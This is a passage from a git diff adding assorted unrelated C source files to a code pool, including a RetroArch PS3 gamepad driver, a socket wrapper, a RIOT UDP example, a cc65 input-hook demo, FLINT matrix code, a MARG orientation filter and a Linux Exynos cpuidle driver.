strerror (errno)); + journal_file = NULL; + } + if (del && (journal_name != NULL) && (journal_name[0] != 0) && (unlink (journal_name) < 0)) + { + outerr (strlen (journal_name) + strlen (strerror (errno)), "error deleting journal file %s: %s\n", journal_name, strerror (errno)); + } +} diff --git a/pool/shard011/C/0142037_connect_ps3.c b/pool/shard011/C/0142037_connect_ps3.c new file mode 100644 index 0000000000000000000000000000000000000000..f1cb865291ee7541a9126a521d89bf1a7872b4e3 --- /dev/null +++ b/pool/shard011/C/0142037_connect_ps3.c @@ -0,0 +1,189 @@ +/* RetroArch - A frontend for libretro. + * Copyright (C) 2013-2014 - Jason Fetters + * Copyright (C) 2011-2015 - Daniel De Matteis + * + * RetroArch is free software: you can redistribute it and/or modify it under the terms + * of the GNU General Public License as published by the Free Software Found- + * ation, either version 3 of the License, or (at your option) any later version. + * + * RetroArch is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR + * PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with RetroArch. + * If not, see . + */ + +#include +#include +#include + +#include +#include "joypad_connection.h" + +struct hidpad_ps3_data +{ + struct pad_connection* connection; + send_control_t send_control; + uint8_t data[512]; + uint32_t slot; + uint64_t buttons; + bool have_led; + uint16_t motors[2]; +}; + +static void hidpad_ps3_send_control(struct hidpad_ps3_data* device) +{ + /* TODO: Can this be modified to turn off motion tracking? */ + static uint8_t report_buffer[] = { + 0x52, 0x01, + 0x00, 0xFF, 0x00, 0xFF, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0x27, 0x10, 0x00, 0x32, + 0xff, 0x27, 0x10, 0x00, 0x32, + 0xff, 0x27, 0x10, 0x00, 0x32, + 0xff, 0x27, 0x10, 0x00, 0x32, + 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; + + report_buffer[11] = 1 << ((device->slot % 4) + 1); + report_buffer[4] = device->motors[1] >> 8; + report_buffer[6] = device->motors[0] >> 8; + + device->send_control(device->connection, report_buffer, sizeof(report_buffer)); +} + +static void* hidpad_ps3_init(void *data, uint32_t slot, send_control_t ptr) +{ +#ifdef IOS + /* Magic packet to start reports. */ + static uint8_t magic_data[] = {0x53, 0xF4, 0x42, 0x03, 0x00, 0x00}; +#endif + struct pad_connection* connection = (struct pad_connection*)data; + struct hidpad_ps3_data* device = (struct hidpad_ps3_data*) + calloc(1, sizeof(struct hidpad_ps3_data)); + + if (!device) + return NULL; + + if (!connection) + { + free(device); + return NULL; + } + + device->connection = connection; + device->slot = slot; + device->send_control = ptr; + +#ifdef IOS + device->send_control(device->connection, magic_data, 6); +#endif + + /* Without this, the digital buttons won't be reported. */ + hidpad_ps3_send_control(device); + + return device; +} + +static void hidpad_ps3_deinit(void *data) +{ + struct hidpad_ps3_data *device = (struct hidpad_ps3_data*)data; + + if (device) + free(device); +} + +static uint64_t hidpad_ps3_get_buttons(void *data) +{ + struct hidpad_ps3_data *device = (struct hidpad_ps3_data*)data; + if (!device) + return 0; + return device->buttons; +} + +static int16_t hidpad_ps3_get_axis(void *data, unsigned axis) +{ + int val; + struct hidpad_ps3_data *device = (struct hidpad_ps3_data*)data; + + if (!device || axis >= 4) + return 0; + + val = device->data[7 + axis]; + val = (val << 8) - 0x8000; + + return (abs(val) > 0x1000) ? val : 0; +} + +static void hidpad_ps3_packet_handler(void *data, uint8_t *packet, uint16_t size) +{ + uint32_t i, pressed_keys; + static const uint32_t button_mapping[17] = + { + RETRO_DEVICE_ID_JOYPAD_SELECT, + RETRO_DEVICE_ID_JOYPAD_L3, + RETRO_DEVICE_ID_JOYPAD_R3, + RETRO_DEVICE_ID_JOYPAD_START, + RETRO_DEVICE_ID_JOYPAD_UP, + RETRO_DEVICE_ID_JOYPAD_RIGHT, + RETRO_DEVICE_ID_JOYPAD_DOWN, + RETRO_DEVICE_ID_JOYPAD_LEFT, + RETRO_DEVICE_ID_JOYPAD_L2, + RETRO_DEVICE_ID_JOYPAD_R2, + RETRO_DEVICE_ID_JOYPAD_L, + RETRO_DEVICE_ID_JOYPAD_R, + RETRO_DEVICE_ID_JOYPAD_X, + RETRO_DEVICE_ID_JOYPAD_A, + RETRO_DEVICE_ID_JOYPAD_B, + RETRO_DEVICE_ID_JOYPAD_Y, + 16 /* PS Button */ + }; + struct hidpad_ps3_data *device = (struct hidpad_ps3_data*)data; + + if (!device) + return; + + if (!device->have_led) + { + hidpad_ps3_send_control(device); + device->have_led = true; + } + + memcpy(device->data, packet, size); + + device->buttons = 0; + + pressed_keys = device->data[3] | (device->data[4] << 8) | + ((device->data[5] & 1) << 16); + + for (i = 0; i < 17; i ++) + device->buttons |= (pressed_keys & (1 << i)) ? + (1 << button_mapping[i]) : 0; +} + +static void hidpad_ps3_set_rumble(void *data, + enum retro_rumble_effect effect, uint16_t strength) +{ + struct hidpad_ps3_data *device = (struct hidpad_ps3_data*)data; + unsigned idx = (effect == RETRO_RUMBLE_STRONG) ? 0 : 1; + + if (!device) + return; + if (device->motors[idx] == strength) + return; + + device->motors[idx] = strength; + hidpad_ps3_send_control(device); +} + +pad_connection_interface_t pad_connection_ps3 = { + hidpad_ps3_init, + hidpad_ps3_deinit, + hidpad_ps3_packet_handler, + hidpad_ps3_set_rumble, + hidpad_ps3_get_buttons, + hidpad_ps3_get_axis, +}; diff --git a/pool/shard011/C/0142038_lab8.functions.c b/pool/shard011/C/0142038_lab8.functions.c new file mode 100644 index 0000000000000000000000000000000000000000..8609ee3f85023d6baab89a8b58d2ef019b9e5d5b --- /dev/null +++ b/pool/shard011/C/0142038_lab8.functions.c @@ -0,0 +1,124 @@ +/* +Lamog-Doiel, Robert +Lab 8 +05/23/2017 + +HEADER DEFINITIONS +Dynamically allocate array of pointers to structs from file input. +Names and addresses are in alphabetical order. +Output based on ascending zip code. +Include duplicate entries. +Use command line arguments with FILE I/O. +*/ + +#include +#include +#include +#include "lab8.h" + +/* + Malloc new address struct. + Return NULL on failure. + Return ptr to new address struct on success. +*/ +Address* newAddress(){ + Address* retVal = malloc(sizeof(Address)); + if (retVal == NULL) return NULL; + + return retVal; +} +void freeAddress(Address* address){ + if (address != NULL) free(address); +} +/* + Set contact->last_name_first_name. + Exit program on failure. +*/ +Address* setLastNameFirstName(Address* contact, char* str){ + if (str == NULL){ + printf("setLastNameFirstName: Unsuccessful.\nProgram terminated.\n"); + exit(EXIT_FAILURE); + } else { + strcpy(contact->last_name_first_name, str); + } + + return contact; +} +/* + Set contact->street_address. + Exit program on failure. +*/ +Address* setStreetAddress(Address* contact, char* str){ + if (str == NULL){ + printf("setStreetAddress: Unsuccessful.\nProgram terminated.\n"); + exit(EXIT_FAILURE); + } else { + strcpy(contact->street_address, str); + } + + return contact; +} +/* + Set contact->city_state. + Exit program on failure. +*/ +Address* setCityState(Address* contact, char* str){ + if (str == NULL){ + printf("setCityState: Unsuccessful.\nProgram terminated.\n"); + exit(EXIT_FAILURE); + } else { + strcpy(contact->city_state, str); + } + + return contact; +} +/* + Set contact->zip_code. + Exit program on failure. +*/ +Address* setZipCode(Address* contact, char* str){ + if (str == NULL){ + printf("setZipCode: Unsuccessful.\nProgram terminated.\n"); + exit(EXIT_FAILURE); + } else { + strcpy(contact->zip_code, str); + } + + return contact; +} +/* + Write single address from ptr to file. +*/ +void writeAddress(Address* address, FILE* output){ + fprintf(output, "%s%s%s%s", + address->last_name_first_name, + address->street_address, + address->city_state, + address->zip_code); +} + +/* + DESTRUCTIVE selection sort utilizing zip code in ascending order. +*/ +Address** zipCodeSort(Address** contact_list, unsigned number_of_contacts){ + unsigned i = 0; + unsigned j = 0; + unsigned min = 0; + Address* tmp; + + for (i; i <= number_of_contacts; ++i){ + min = i; + + for (j = i; j <= number_of_contacts; ++j){ + if (strcmp(contact_list[j]->zip_code, contact_list[min]->zip_code) < 0){ + min = j; + } + } + + tmp = contact_list[i]; + contact_list[i] = contact_list[min]; + contact_list[min] = tmp; + } + + return contact_list; +} \ No newline at end of file diff --git a/pool/shard011/C/0142039_topic_4.c b/pool/shard011/C/0142039_topic_4.c new file mode 100644 index 0000000000000000000000000000000000000000..c3334413f4eb4a481e1f587aca15ea318f96ea82 --- /dev/null +++ b/pool/shard011/C/0142039_topic_4.c @@ -0,0 +1,19 @@ +#include + +int main() +{ + float water_quark_unit = 3.0*10e-23; + + printf("请输入需要计算的夸克数"); + + int water_quark_count; + scanf("%d", &water_quark_count); + + int water_g = water_quark_count * 950; + + long long water_count = water_g / water_quark_unit; + + printf("%d个夸克大约包含%lld个水分子", water_quark_count, water_count); + + return 0; +} diff --git a/pool/shard011/C/0142040_net-lin.c b/pool/shard011/C/0142040_net-lin.c new file mode 100644 index 0000000000000000000000000000000000000000..c63179a371d0de5c6e1e228abf363f89c4d79d85 --- /dev/null +++ b/pool/shard011/C/0142040_net-lin.c @@ -0,0 +1,135 @@ +/* + * This file is part of the Gopherus project + * Copyright (C) Mateusz Viste 2013 + * + * Provides all network functions used by Gopherus, wrapped around POSIX (BSD) sockets. + */ + +#include /* NULL */ +#include /* socket() */ +#include +#include +#include +#include /* sprintf() */ +#include /* close() */ +#include +#include /* uint32_t */ + +#include "net.h" + +#define POLLING_TIMEOUT_USEC 125000 + +static int g_sk; + +unsigned long net_dnsresolve(const char *name) +{ + struct hostent *hent = gethostbyname(name); + return (hent) ? htonl(*((uint32_t *)(hent->h_addr))) : 0; +} + +int net_init(void) +{ + return 0; +} + +int net_connect(unsigned long ipaddr, unsigned short port) +{ + struct sockaddr_in remote; + + g_sk = socket(AF_INET, SOCK_STREAM | O_NONBLOCK, IPPROTO_TCP); + if (g_sk < 0) + return -1; + + remote.sin_family = AF_INET; + remote.sin_addr.s_addr = htonl(ipaddr); + remote.sin_port = htons(port); + + if (connect(g_sk, (struct sockaddr *)&remote, sizeof remote) < 0) { + if (errno == EINPROGRESS) { + while (!is_int_pending()) { + int ret; + fd_set wfd; + struct timeval tv; + + tv.tv_sec = 0; + tv.tv_usec = POLLING_TIMEOUT_USEC; + FD_ZERO(&wfd); + FD_SET(g_sk, &wfd); + + ret = select(g_sk + 1, NULL, &wfd, NULL, &tv); + + if (ret == 1) { + return 0; + } else if (ret < 0 && errno != EINTR) { + break; + } + } + } + close(g_sk); + return -1; + } + + return 0; +} + +int net_send(const char *buf, int len) +{ + int ret; + + do { + ret = send(g_sk, buf, len, 0); + + if (ret < 0) { + if (errno == EINTR || + errno == EAGAIN || + errno == EWOULDBLOCK) { + usleep(POLLING_TIMEOUT_USEC); + } else { + return ret; + } + } + } while (!is_int_pending() && ret < 0); + + return ret; +} + +int net_recv(char *buf, int maxlen) +{ + int res; + fd_set rfds; + struct timeval tv; + + /* Use select() to wait up to 100ms if nothing awaits on the socket (spares some CPU time) */ + FD_ZERO(&rfds); + FD_SET(g_sk, &rfds); + tv.tv_sec = 0; + tv.tv_usec = 100000; + + res = select(g_sk + 1, &rfds, NULL, NULL, &tv); + if (res < 0) + return -1; + if (res == 0) + return 0; + + /* read the stuff now (if any) */ + res = recv(g_sk, buf, maxlen, MSG_DONTWAIT); + if (res < 0) { + if (errno == EAGAIN) return 0; + if (errno == EWOULDBLOCK) return 0; + } + + if (res == 0) + return -1; /* the peer performed an orderly shutdown */ + + return res; +} + +void net_close(void) +{ + close(g_sk); +} + +void net_abort(void) +{ + net_close(); +} diff --git a/pool/shard011/C/0142041_udp.c b/pool/shard011/C/0142041_udp.c new file mode 100644 index 0000000000000000000000000000000000000000..cb6d16835d49ebc91e77102f914422082dd3e1ad --- /dev/null +++ b/pool/shard011/C/0142041_udp.c @@ -0,0 +1,190 @@ +/* + * Copyright (C) 2015 Freie Universität Berlin + * + * This file is subject to the terms and conditions of the GNU Lesser + * General Public License v2.1. See the file LICENSE in the top level + * directory for more details. + */ + +/** + * @ingroup examples + * @{ + * + * @file + * @brief Demonstrating the sending and receiving of UDP data + * + * @author Hauke Petersen + * + * @} + */ + +#include +#include + +#include "net/gnrc.h" +#include "net/gnrc/ipv6.h" +#include "net/gnrc/netif.h" +#include "net/gnrc/netif/hdr.h" +#include "net/gnrc/udp.h" +#include "net/gnrc/pktdump.h" +#include "timex.h" +#include "utlist.h" +#include "xtimer.h" + +static gnrc_netreg_entry_t server = GNRC_NETREG_ENTRY_INIT_PID(GNRC_NETREG_DEMUX_CTX_ALL, + KERNEL_PID_UNDEF); + + +static void send(char *addr_str, char *port_str, char *data, unsigned int num, + unsigned int delay) +{ + int iface; + uint16_t port; + ipv6_addr_t addr; + + /* get interface, if available */ + iface = ipv6_addr_split_iface(addr_str); + if ((iface < 0) && (gnrc_netif_numof() == 1)) { + iface = gnrc_netif_iter(NULL)->pid; + } + /* parse destination address */ + if (ipv6_addr_from_str(&addr, addr_str) == NULL) { + puts("Error: unable to parse destination address"); + return; + } + /* parse port */ + port = (uint16_t)atoi(port_str); + if (port == 0) { + puts("Error: unable to parse destination port"); + return; + } + + for (unsigned int i = 0; i < num; i++) { + gnrc_pktsnip_t *payload, *udp, *ip; + unsigned payload_size; + /* allocate payload */ + payload = gnrc_pktbuf_add(NULL, data, strlen(data), GNRC_NETTYPE_UNDEF); + if (payload == NULL) { + puts("Error: unable to copy data to packet buffer"); + return; + } + /* store size for output */ + payload_size = (unsigned)payload->size; + /* allocate UDP header, set source port := destination port */ + udp = gnrc_udp_hdr_build(payload, port, port); + if (udp == NULL) { + puts("Error: unable to allocate UDP header"); + gnrc_pktbuf_release(payload); + return; + } + /* allocate IPv6 header */ + ip = gnrc_ipv6_hdr_build(udp, NULL, &addr); + if (ip == NULL) { + puts("Error: unable to allocate IPv6 header"); + gnrc_pktbuf_release(udp); + return; + } + /* add netif header, if interface was given */ + if (iface > 0) { + gnrc_pktsnip_t *netif = gnrc_netif_hdr_build(NULL, 0, NULL, 0); + + ((gnrc_netif_hdr_t *)netif->data)->if_pid = (kernel_pid_t)iface; + LL_PREPEND(ip, netif); + } + /* send packet */ + if (!gnrc_netapi_dispatch_send(GNRC_NETTYPE_UDP, GNRC_NETREG_DEMUX_CTX_ALL, ip)) { + puts("Error: unable to locate UDP thread"); + gnrc_pktbuf_release(ip); + return; + } + /* access to `payload` was implicitly given up with the send operation above + * => use temporary variable for output */ + printf("Success: sent %u byte(s) to [%s]:%u\n", payload_size, addr_str, + port); + xtimer_usleep(delay); + } +} + +static void start_server(char *port_str) +{ + uint16_t port; + + /* check if server is already running */ + if (server.target.pid != KERNEL_PID_UNDEF) { + printf("Error: server already running on port %" PRIu32 "\n", + server.demux_ctx); + return; + } + /* parse port */ + port = (uint16_t)atoi(port_str); + if (port == 0) { + puts("Error: invalid port specified"); + return; + } + /* start server (which means registering pktdump for the chosen port) */ + server.target.pid = gnrc_pktdump_pid; + server.demux_ctx = (uint32_t)port; + gnrc_netreg_register(GNRC_NETTYPE_UDP, &server); + printf("Success: started UDP server on port %" PRIu16 "\n", port); +} + +static void stop_server(void) +{ + /* check if server is running at all */ + if (server.target.pid == KERNEL_PID_UNDEF) { + printf("Error: server was not running\n"); + return; + } + /* stop server */ + gnrc_netreg_unregister(GNRC_NETTYPE_UDP, &server); + server.target.pid = KERNEL_PID_UNDEF; + puts("Success: stopped UDP server"); +} + +int udp_cmd(int argc, char **argv) +{ + if (argc < 2) { + printf("usage: %s [send|server]\n", argv[0]); + return 1; + } + + if (strcmp(argv[1], "send") == 0) { + uint32_t num = 1; + uint32_t delay = 1000000; + if (argc < 5) { + printf("usage: %s send [ []]\n", + argv[0]); + return 1; + } + if (argc > 5) { + num = (uint32_t)atoi(argv[5]); + } + if (argc > 6) { + delay = (uint32_t)atoi(argv[6]); + } + send(argv[2], argv[3], argv[4], num, delay); + } + else if (strcmp(argv[1], "server") == 0) { + if (argc < 3) { + printf("usage: %s server [start|stop]\n", argv[0]); + return 1; + } + if (strcmp(argv[2], "start") == 0) { + if (argc < 4) { + printf("usage %s server start \n", argv[0]); + return 1; + } + start_server(argv[3]); + } + else if (strcmp(argv[2], "stop") == 0) { + stop_server(); + } + else { + puts("error: invalid command"); + } + } + else { + puts("error: invalid command"); + } + return 0; +} diff --git a/pool/shard011/C/0142042_vector-demo.c b/pool/shard011/C/0142042_vector-demo.c new file mode 100644 index 0000000000000000000000000000000000000000..cddb943d28e5cd53f64e584337d114375bb74293 --- /dev/null +++ b/pool/shard011/C/0142042_vector-demo.c @@ -0,0 +1,70 @@ + +#include +#include +#include + +unsigned char x,y; + +void_func oldMouseVector, oldKeyVector; + +void foo1 (void) { + // do something on mouse press/release + gotoxy(x,y); + ++x; + cputc('A'); + // call previous routine + oldMouseVector(); +} + +void foo2 (void) { + // do something on key press/release + gotoxy(x,y); + ++y; + cputc('B'); + // call previous routine + oldKeyVector(); +} + +void hook_into_system(void) { + // hook into system vectors - preserve old value + oldMouseVector = mouseVector; + mouseVector = foo1; + oldKeyVector = keyVector; + keyVector = foo2; +} + +void remove_hooks(void) { + mouseVector = oldMouseVector; + keyVector = oldKeyVector; +} + +int main(void) { + + x = 0; + y = 0; + +/* + To make cc65 do something for you before exiting you might register + a function to be called using atexit call. #include then and + write: +*/ + atexit(&remove_hooks); + + clrscr(); + cputsxy(0,1, CBOLDON "Just" COUTLINEON "a " CITALICON "string." CPLAINTEXT ); + + hook_into_system(); + +/* This program will loop forever though */ + + MainLoop(); + +/* + If not using atexit() you have to remember about restoring system vectors + right before exiting your application. Otherwise the system will most + likely crash. + + remove_hooks(); +*/ + return 0; +} diff --git a/pool/shard011/C/0142043_submul.c b/pool/shard011/C/0142043_submul.c new file mode 100644 index 0000000000000000000000000000000000000000..c85e825ff4732a7ee561b41925b00b45d1548b55 --- /dev/null +++ b/pool/shard011/C/0142043_submul.c @@ -0,0 +1,56 @@ +/*============================================================================= + + This file is part of FLINT. + + FLINT is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + FLINT is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with FLINT; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +=============================================================================*/ +/****************************************************************************** + + Copyright (C) 2011 Fredrik Johansson + +******************************************************************************/ + +#include +#include +#include "flint.h" +#include "hmod_mat.h" +#include "nmod_vec.h" + +void +hmod_mat_submul(hmod_mat_t D, const hmod_mat_t C, + const hmod_mat_t A, const hmod_mat_t B) +{ + long m, k, n; + + m = A->r; + k = A->c; + n = B->c; + + if (m < HMOD_MAT_MUL_STRASSEN_CUTOFF || + n < HMOD_MAT_MUL_STRASSEN_CUTOFF || + k < HMOD_MAT_MUL_STRASSEN_CUTOFF) + { + _hmod_mat_mul_classical(D, C, A, B, -1); + } + else + { + hmod_mat_t tmp; + hmod_mat_init(tmp, m, n, A->mod.n); + hmod_mat_mul_strassen(tmp, A, B); + hmod_mat_sub(D, C, tmp); + hmod_mat_clear(tmp); + } +} diff --git a/pool/shard011/C/0142044_s2f.c b/pool/shard011/C/0142044_s2f.c new file mode 100644 index 0000000000000000000000000000000000000000..3a960c06e8d9fc6df6141fe67c90df18c8554a50 --- /dev/null +++ b/pool/shard011/C/0142044_s2f.c @@ -0,0 +1,52 @@ +/* +Copyright (C) 2002 Antoine Rousseau + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +*/ + +#include "m_pd.h" +#include + +typedef struct _s2f +{ + t_object x_obj; +} t_s2f; + +t_class *s2f_class; + +void s2f_setup(void); + +static void s2f_symbol(t_s2f *x,t_symbol *sym) +{ + if(!sym->s_name) return; + + outlet_float(x->x_obj.ob_outlet,(t_float)strtod(sym->s_name,0)); +} + +static void *s2f_new(void) +{ + t_s2f *x = (t_s2f *)pd_new(s2f_class); + outlet_new(&x->x_obj, &s_float); + return (void *)x; +} + +void s2f_setup(void) +{ + s2f_class = class_new(gensym("s2f"),(t_newmethod)s2f_new, + 0, sizeof(t_s2f), 0, 0); + + class_addsymbol(s2f_class, s2f_symbol); +} diff --git a/pool/shard011/C/0142045_basic.naive.c b/pool/shard011/C/0142045_basic.naive.c new file mode 100644 index 0000000000000000000000000000000000000000..8c64ac8d0dd0b93e99cfc12db46a86e776b1fbb5 --- /dev/null +++ b/pool/shard011/C/0142045_basic.naive.c @@ -0,0 +1,147 @@ +#include "MARG.h" +#include "globals.h" +#include "boards.h" + +#define cross_prod(r, a, b) {\ + (r)[0] = (a)[1] * (b)[2] - (a)[2] * (b)[1];\ + (r)[1] = (a)[2] * (b)[0] - (a)[0] * (b)[2];\ + (r)[2] = (a)[0] * (b)[1] - (a)[1] * (b)[0];\ +}\ + +#define dot3(a, b) ((a)[0] * (b)[0] + (a)[1] * (b)[1] + (a)[2] * (b)[2]) +#define dot4(a, b) ((a)[0] * (b)[0] + (a)[1] * (b)[1] + (a)[2] * (b)[2] + (a)[3] * (b)[3]) + +#define scl3(r, v, s) {\ + (r)[0] = (v)[0] * (s);\ + (r)[1] = (v)[1] * (s);\ + (r)[2] = (v)[2] * (s);\ +}\ + +#define scl4(r, v, s) {\ + (r)[0] = (v)[0] * (s);\ + (r)[1] = (v)[1] * (s);\ + (r)[2] = (v)[2] * (s);\ + (r)[3] = (v)[3] * (s);\ +}\ + +#define add3(r, u, v) {\ + (r)[0] = (u)[0] + (v)[0];\ + (r)[1] = (u)[1] + (v)[1];\ + (r)[2] = (u)[2] + (v)[2];\ +}\ + +#define add4(r, u, v) {\ + (r)[0] = (u)[0] + (v)[0];\ + (r)[1] = (u)[1] + (v)[1];\ + (r)[2] = (u)[2] + (v)[2];\ + (r)[3] = (u)[3] + (v)[3];\ +}\ + +#define lerp4(r, v, w, t) {\ + float vs = 1 - t;\ + (r)[0] = (v)[0] * vs + (w)[0] * t;\ + (r)[1] = (v)[1] * vs + (w)[1] * t;\ + (r)[2] = (v)[2] * vs + (w)[2] * t;\ + (r)[3] = (v)[3] * vs + (w)[3] * t;\ +}\ + + +void quat_mul(float* r, float* p, float* q) +{ + float tmp[3]; + cross_prod(r, p, q); + scl3(tmp, p, q[3]); + add3(r, r, tmp); + scl3(tmp, q, p[3]); + add3(r, r, tmp); + + r[3] = p[3] * q[3] - dot3(p, q); +} + +static void quat_from_vec(float* q, float* v) +{ + // TODO + float ref_dir[] = { 0, 1, 0 }; + float t = acosf(dot3(v, ref_dir)); + float s = sinf(t / 2); + float a[3]; + + cross_prod(a, v, ref_dir); + + q[0] = a[0] * s; + q[1] = a[1] * s; + q[2] = a[2] * s; + q[3] = cosf(t / 2); + + float mag = 1.f / sqrt(dot4(q, q)); // normalize the result of the lerp + scl4(q, q, mag); // since it won't lie on the unit sphere. + +} + +// current quaternion estimation with inital conditions +float Q[4]; +static float vec_quat[4]; +static float w_quat[4]; +static float d_q_est[4], q_tmp[4]; +static float m_mag, a_mag; +static basisf_t basis; + +static void quat_ident(float* q) +{ + q[0] = q[1] = q[2] = 0; + q[3] = 1; +} + +void MARG_reset() +{ + quat_ident(Q); + quat_ident(w_quat); +} + +void MARG_tick(float w_x, float w_y, float w_z, + float a_x, float a_y, float a_z, + float m_x, float m_y, float m_z, + float delta_t) +{ + int m[] = { m_x, m_y, m_z }, a[] = { a_x, a_y, a_z }; + + // calculate the inverse magnitude of the mag and acc + // vectors and normalize + m_mag = 1.f / sqrt(dot3(m, m)); a_mag = 1.f / sqrt(dot3(a, a)); + scl3(basis.up.v, a, a_mag); + scl3(basis.forward.v, m, m_mag); + + // complete orthogonal basis + cross_prod(basis.left.v, basis.up.v, basis.forward.v); + cross_prod(basis.forward.v, basis.left.v, basis.up.v); + + // create orientation quaternion from computed forward vector + //quat_from_vec(Q, basis.forward.v); + + quat_from_vec(vec_quat, basis.forward.v); + + // compute the derivative of orientation in respect to + // angular rate of change + //w_x = w_y = w_z = 0; + float w[] = { w_x, w_y, w_z, 0.f }; + + quat_mul(Q, Q, w); + + scl4(q_tmp, Q, 0.5); + quat_mul(d_q_est, q_tmp, w); + + // compute the new estimated orientation from angular rate of change + scl4(d_q_est, d_q_est, delta_t); + add4(w_quat, Q, d_q_est); + a_mag = 1.f / sqrt(dot4(w_quat, w_quat)); // normalize the result of the lerp + scl4(w_quat, w_quat, a_mag); + + // combine both estimates lerped by a convergence value + const float conv = 0.0f; // Convergence rate, favors w_quat. But should be + // small enough to allow vec_quat to counter-act + // the drift of the gyroscope + lerp4(Q, vec_quat, w_quat, conv); + a_mag = 1.f / sqrt(dot4(Q, Q)); // normalize the result of the lerp + scl4(Q, Q, a_mag); // since it won't lie on the unit sphere. + +} diff --git a/pool/shard011/C/0142046_cpuidle-exynos.c b/pool/shard011/C/0142046_cpuidle-exynos.c new file mode 100644 index 0000000000000000000000000000000000000000..ba9b34b579f3d1a2757004f05a19412fd0c6043b --- /dev/null +++ b/pool/shard011/C/0142046_cpuidle-exynos.c @@ -0,0 +1,82 @@ +/* linux/arch/arm/mach-exynos/cpuidle.c + * + * Copyright (c) 2011 Samsung Electronics Co., Ltd. + * http://www.samsung.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. +*/ + +#include +#include +#include +#include +#include + +#include +#include +#include + +static void (*exynos_enter_aftr)(void); + +static int exynos_enter_lowpower(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + int new_index = index; + + /* AFTR can only be entered when cores other than CPU0 are offline */ + if (num_online_cpus() > 1 || dev->cpu != 0) + new_index = drv->safe_state_index; + + if (new_index == 0) + return arm_cpuidle_simple_enter(dev, drv, new_index); + + exynos_enter_aftr(); + + return new_index; +} + +static struct cpuidle_driver exynos_idle_driver = { + .name = "exynos_idle", + .owner = THIS_MODULE, + .states = { + [0] = ARM_CPUIDLE_WFI_STATE, + [1] = { + .enter = exynos_enter_lowpower, + .exit_latency = 300, + .target_residency = 100000, + .flags = CPUIDLE_FLAG_TIME_VALID, + .name = "C1", + .desc = "ARM power down", + }, + }, + .state_count = 2, + .safe_state_index = 0, +}; + +static int exynos_cpuidle_probe(struct platform_device *pdev) +{ + int ret; + + exynos_enter_aftr = (void *)(pdev->dev.platform_data); + + ret = cpuidle_register(&exynos_idle_driver, NULL); + if (ret) { + dev_err(&pdev->dev, "failed to register cpuidle driver\n"); + return ret; + } + + return 0; +} + +static struct platform_driver exynos_cpuidle_driver = { + .probe = exynos_cpuidle_probe, + .driver = { + .name = "exynos_cpuidle", + .owner = THIS_MODULE, + }, +}; + +module_platform_driver(exynos_cpuidle_driver); diff --git a/pool/shard011/C/0142047_analyzer.c b/pool/shard011/C/0142047_analyzer.c new file mode 100644 index 0000000000000000000000000000000000000000..20891b9ae71bfda087f1814d6c8d17dc81623f6c --- /dev/null +++ b/pool/shard011/C/0142047_analyzer.c @@ -0,0 +1,88 @@ +/* +Copyright (c) [2014] [Alberto Amoruso] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. +*/ + +#include "dependencies.h" + +char *extension_of(char *filename) { + char *dot = strrchr(filename, '.'); + if(!dot || dot == filename) return ""; + return dot + 1; +} + +//length is the length of the array +directory *get_directories(FILE *file, int *length) { + char *linev = NULL; //the line + *length = -1; + size_t len = 0; //the size in bytes of the block of memory pointed to by line + ssize_t read; //number of characters in line + char **folder_names; //this array will contain folder names + folder_names = (char **)malloc(0); + + directory *result; + result = (directory *)malloc(0); + + //fflush(file); + fseek(file, 0L, SEEK_SET); + + while ((read = getline(&linev, &len, file)) != -1) { + + int tabs = 0; + for (int i = 0; linev[i] == '\t'; i++) + tabs++; + + *length += 1; + folder_names = (char **)realloc(folder_names, sizeof(char *) * *length+1); + folder_names[*length] = (char *)malloc(0); + for (int i = tabs; i < read; i++) { + folder_names[*length] = (char *)realloc(folder_names[*length], sizeof(char) * (i - tabs) + 1); + if (linev[i] == '\n') + folder_names[*length][i - tabs] = '\0'; + else + folder_names[*length][i - tabs] = linev[i]; + } + result = (directory *)realloc(result, sizeof(directory) * *length+1); + result[*length].depth = tabs; + result[*length].name = folder_names[*length]; + } + if (linev) + free(linev); + if (folder_names) + free(folder_names); + return result; +} + +char *go_back(char *path, int back) { + +/* COUNTING / GRAND TOTAL */ + int slash_total = 0; + int i = 0; + + for (i = 0; path[i] != '\0'; i++) + if (path[i] == '/') + slash_total++; + +/* CUTTING THE STRING */ + char *result; + result = (char *)malloc(256); + int slash_partial = 0; + + for (i = 0; path[i] != '\0' && slash_partial < slash_total - back +1; i++) { + result[i] = path[i]; + if (path[i] == '/') + slash_partial++; + } + result[i] = '\0'; + + return result; +} \ No newline at end of file diff --git a/pool/shard011/C/0142048_iwl-notif-wait.c b/pool/shard011/C/0142048_iwl-notif-wait.c new file mode 100644 index 0000000000000000000000000000000000000000..7766e4d8d9ccec5931976e5872ad26bc3b62af23 --- /dev/null +++ 